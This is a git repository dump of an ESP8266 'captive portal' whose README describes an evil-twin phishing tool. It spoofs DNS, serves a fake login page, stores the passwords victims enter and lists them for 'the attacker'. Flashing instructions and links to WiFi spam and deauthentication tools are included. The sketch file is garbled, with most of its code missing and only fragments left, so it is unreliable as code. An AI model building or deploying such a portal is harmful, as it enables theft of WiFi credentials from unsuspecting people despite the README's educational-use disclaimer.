Repository: adamff1/ESP8266-Captive-Portal
Branch: master
Commit: 9af8cc6413f8
Files: 3
Total size: 12.3 KB
Directory structure:
gitextract_ggz4i0fm/
├── LICENSE
├── README.md
└── WiFi_Captive_Portal.ino
================================================
FILE CONTENTS
================================================
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2018 BlueArduino20
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
# ESP8266 WiFi Captive Portal
## Disclaimer
This project is for testing and educational purposes. Use it only against your own networks and devices. I don't take any responsibility for what you do with this program.
## About this project
WiFi captive portal for the NodeMCU (ESP8266 Module) with DNS spoofing.
The built-in LED will blink 5 times when a password is posted.
Warning! Your saved passwords will **not** disappear when you restart/power off the ESP8266.
Note: If you want to see the stored passwords go to "**172.0.0.1**/pass". For changing the SSID, go to "**172.0.0.1**/ssid"
V. 2.0 (Fake sign in): https://github.com/125K/ESP8266_WiFi_Captive_Portal_2.0
# Showcase
# Screenshots
| 172.0.0.1/index | 172.0.0.1/post | 172.0.0.1/pass | 172.0.0.1/ssid |
|---|---|---|---|
| This is the main page. Here the user will write his password and send it. | This is the post page. The user will be redirected here after posting the password. | This is where the attacker can retrieve all the passwords that has been posted. | Here the attacker can change the SSID name of the Access Point on the go. |
![]() |
![]() |
![]() |
![]() |
# Installation (ESP8266 Flasher - Easy way)
1. Download ESP8266 Flasher.
2. Download the release.bin file.
3. Open the ESP8266 Flasher and select the Node MCU port
5. Finally, go back to the first tab and press "Flash"
6. Your Node MCU is ready!
# Installation (Arduino IDE)
1. Open your Arduino IDE and go to "File -> Preferences -> Boards Manager URLs" and paste the following link:
``http://arduino.esp8266.com/stable/package_esp8266com_index.json``
2. Go to "Tools -> Board -> Boards Manager", search "esp8266" and install esp8266
3. Go to "Tools -> Board" and select you board"
4. Download and open the sketch "WiFi_Captive_Portal.ino"
5. You can optionally change some parameters like the SSID name and texts of the page like title, subtitle, text body...
6. Upload the code into your board.
7. You are done!
## Check out my other projects
- **WiFi-Spam**: :email::satellite: Spam thousands of WiFi access points with custom SSIDs.
- https://github.com/125K/WiFi-Spam
- **PwrDeauther**: :zap: Deauth a specific WiFi access point or an entire channel.
- https://github.com/125K/PwrDeauther
================================================
FILE: WiFi_Captive_Portal.ino
================================================
// ESP8266 WiFi Captive Portal
// By 125K (github.com/125K)
// Libraries
#include Here you can change the SSID name. After pressing the button \"Change SSID\" you will lose the connection, so reconnect to the new SSID.
" + "" + footer(); } String postedSSID() { String postedSSID = input("s"); newSSID="The password list has been reseted.